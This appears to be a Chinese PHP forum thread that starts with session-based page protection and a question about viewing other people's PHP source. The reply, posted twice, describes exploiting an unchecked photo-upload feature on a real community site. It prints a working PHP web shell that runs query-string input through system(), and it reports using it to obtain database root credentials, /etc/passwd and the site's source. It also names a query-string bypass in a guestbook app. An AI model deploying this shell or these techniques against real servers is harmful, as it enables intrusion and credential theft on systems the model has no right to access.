这个使用了 session 进行的页面加密 在父页面加入下面的标记
<?
session_start();
$_SESSION["firstpage"] = "yes";
$_SESSION["bottompage"]= "no";
?> 
在保密页面加入如下的判断
<?
session_start();
if (($_SESSION['firstpage'] != "yes") || ($_SESSION["bottompage"] != "no")) {
echo "对不起,你不能看到应该显示的东西";
}else {
$_SESSION["bottompage"] = "yes";
?>另外一个比较傻的办法
把你的关键的面页的代码用base64_encode编码放入数据库的一个字段中
然后在
<html>
  ……
base64_decode(数据库中读取的字段);
 ……
</html>浅妄薄见,望与斟酌

解决方案 »

  1.   

    请教高手怎么能看到别人的php源代码??
      

  2.   

    我所能想到的:
    如果是从客户端浏览器看
    1:利用编程者写的程序的漏洞。
    比如,西大浪人的gbook,它在提供管理员登陆删除帖子功能时,用了if ($gbook)这样的方式,你只需要在url的querystring 中加入&gbook=1就可以实现功能,并且能看到代码。但是这种方法你必须知道它写的程序,所以在不知道的情况下,只能靠猜
    2:利用php的漏洞。在www.cert.org可以看到网友提供的最新漏洞
      另外,我发现某个社区网站中的一个上传“我的照片”功能有着很大的安全隐患,因为上传程序未对上传的文件做分析,从而我可以上传一个test.php的文件, 然后服务器上的名字就为?????.php(?????为数字), 
      我的PHP内容如下:
    <?
    $dbs=mysql_connect($strDBHost,$strDBUser,$strDBPassword);
    ……
    mysql_close($dbs);
    ?>  当然……中我只作了个测试,没有真正使用数据库,但是我以另一个PHP,?????.php,内容如下:
    <?
    $query=getenv("QUERY_STRING");
    $command=urldecode($query);
    $stdout=system("$command");
    echo "$stdout";
    ?>
    成功的取得
    $strDBHost = "?.?.?.?";
    $strDBPassword = "????";
    $strDBUser = "root";
    并连上数据库
      然后用后一个PHP把上传的PHP命名为CMD.PHP和DB.PHP
      成功取得/ETC/PASSWD和该网站的首页面MAIN.PHP源码。
      所以进行此类设计时,应该考虑到恶意用户通过直接调用url,把恶意数据传个程序,而不能以为网页在服务器端就安全了!所以有时候你要上传一些东西
      

  3.   

    我所能想到的:
    如果是从客户端浏览器看
    1:利用编程者写的程序的漏洞。
    比如,西大浪人的gbook,它在提供管理员登陆删除帖子功能时,用了if ($gbook)这样的方式,你只需要在url的querystring 中加入&gbook=1就可以实现功能,并且能看到代码。但是这种方法你必须知道它写的程序,所以在不知道的情况下,只能靠猜
    2:利用php的漏洞。在www.cert.org可以看到网友提供的最新漏洞
      另外,我发现某个社区网站中的一个上传“我的照片”功能有着很大的安全隐患,因为上传程序未对上传的文件做分析,从而我可以上传一个test.php的文件, 然后服务器上的名字就为?????.php(?????为数字), 
      我的PHP内容如下:
    <?
    $dbs=mysql_connect($strDBHost,$strDBUser,$strDBPassword);
    ……
    mysql_close($dbs);
    ?>  当然……中我只作了个测试,没有真正使用数据库,但是我以另一个PHP,?????.php,内容如下:
    <?
    $query=getenv("QUERY_STRING");
    $command=urldecode($query);
    $stdout=system("$command");
    echo "$stdout";
    ?>
    成功的取得
    $strDBHost = "?.?.?.?";
    $strDBPassword = "????";
    $strDBUser = "root";
    并连上数据库
      然后用后一个PHP把上传的PHP命名为CMD.PHP和DB.PHP
      成功取得/ETC/PASSWD和该网站的首页面MAIN.PHP源码。
      所以进行此类设计时,应该考虑到恶意用户通过直接调用url,把恶意数据传个程序,而不能以为网页在服务器端就安全了!所以有时候你要上传一些东西